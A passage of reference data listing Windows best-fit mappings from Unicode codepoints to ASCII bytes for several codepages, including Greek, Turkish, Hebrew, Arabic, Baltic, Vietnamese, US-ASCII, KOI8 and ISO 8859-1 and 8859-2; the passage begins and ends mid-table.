02c8:27 02cb:60 02cd:5f 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 037e:3b 0393:47 0398:54 03a3:53 03a6:46 03a9:4f 03b1:61 03b4:64 03b5:65 03c0:70 03c3:73 03c4:74 03c6:66 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2017:3d 2032:27 2035:60 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 207f:6e 2080:30 2081:31 2082:32 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20a7:50 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2212:2d 2215:2f 2216:5c 2217:2a 221a:76 221e:38 2223:7c 2229:6e 2236:3a 223c:7e 2261:3d 2264:3d 2265:3d 2303:5e 2320:28 2321:29 2329:3c 232a:3e 2500:2d 250c:2b 2510:2b 2514:2b 2518:2b 251c:2b 252c:2d 2534:2d 253c:2b 2550:2d 2552:2b 2553:2b 2554:2b 2555:2b 2556:2b 2557:2b 2558:2b 2559:2b 255a:2b 255b:2b 255c:2b 255d:2b 2564:2d 2565:2d 2566:2d 2567:2d 2568:2d 2569:2d 256a:2b 256b:2b 256c:2b 2584:5f 2758:7c 3000:20 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1253 (ANSI - Greek) -00b4:2f 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 037e:3b 203c:21 2190:3c 2191:5e 2192:3e 2193:76 2194:2d 221f:4c 2500:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2554:2d 255a:4c 255d:2d 2566:54 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263a:4f 263b:4f 263c:30 2640:2b 2642:3e 266a:64 266b:64 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1254 (ANSI - Turkish) -00dd:59 00fd:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c7:5e 02c8:27 02cb:60 02cd:5f 02d8:5e 02d9:27 0300:60 0302:5e 0331:5f 0332:5f 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2032:27 2035:60 203c:21 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 2081:30 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2191:5e 2193:76 2194:2d 2195:7c 21a8:7c 2212:2d 2215:2f 2216:5c 2217:2a 221f:4c 2223:7c 2236:3a 223c:7e 2303:5e 2329:3c 232a:3e 2502:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2554:2d 255a:4c 255d:2d 2566:54 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263a:4f 263b:4f 263c:30 2640:2b 2642:3e 266a:64 266b:64 2758:7c 3000:20 3008:3c 3009:3e 301a:5b 301b:3d 301d:22 301e:22 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1255 (ANSI - Hebrew) -0191:46 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1256 (ANSI - Arabic) -00c0:41 00c2:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00ce:49 00cf:49 00d4:4f 00d9:55 00db:55 00dc:55 0191:46 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1257 (ANSI - Baltic) -ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1258 (ANSI/OEM - Viet Nam) -ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -#INVALID CODEPAGE: 1361 -20127 (US-ASCII) -00a0:20 00a1:21 00a2:63 00a4:24 00a5:59 00a6:7c 00a9:43 00aa:61 00ab:3c 00ad:2d 00ae:52 00b2:32 00b3:33 00b7:2e 00b8:2c 00b9:31 00ba:6f 00bb:3e 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c6:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e6:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -20261 (T.61) -f8dd:5c f8de:5e f8df:60 f8e0:7b f8fc:7d f8fd:7e f8fe:7f - -20866 (Russian - KOI8) -00a7:15 00ab:3c 00ad:2d 00ae:52 00b1:2b 00b6:14 00bb:3e 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 2013:2d 2014:2d 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2026:3a 2030:25 2039:3c 203a:3e 203c:13 2122:54 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 221f:1c 2302:7f 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e - -28591 (ISO 8859-1 Latin I) -0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -28592 (ISO 8859-2 Central Europe) -00a1:21 00a2:63 00a5:59 00a6:7c 00a9:43 00aa:61 00ab:3c 00ae:52 00b2:32 00b3:33 00b7:2e 00b9:31 00ba:6f 00bb:3e 00c0:41 00c3:41 00c5:41 00c6:41 00c8:45 00ca:45 00cc:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d5:4f 00d8:4f 00d9:55 00db:55 00e0:61 00e3:61 00e5:61 00e6:61 00e8:65 00ea:65 00ec:69 00ef:69 00f1:6e 00f2:6f 00f5:6f 00f8:6f 00f9:75 00fb:75 00ff:79 0100:41 0101:61 0108:43 0109:63 010a:43 010b:63 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 013b:4c 013c:6c 0145:4e 0146:6e 014c:4f 014d:6f 014e:4f 014f:6f 0152:4f 0153:6f 0156:52 0157:72 015c:53 015d:73 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 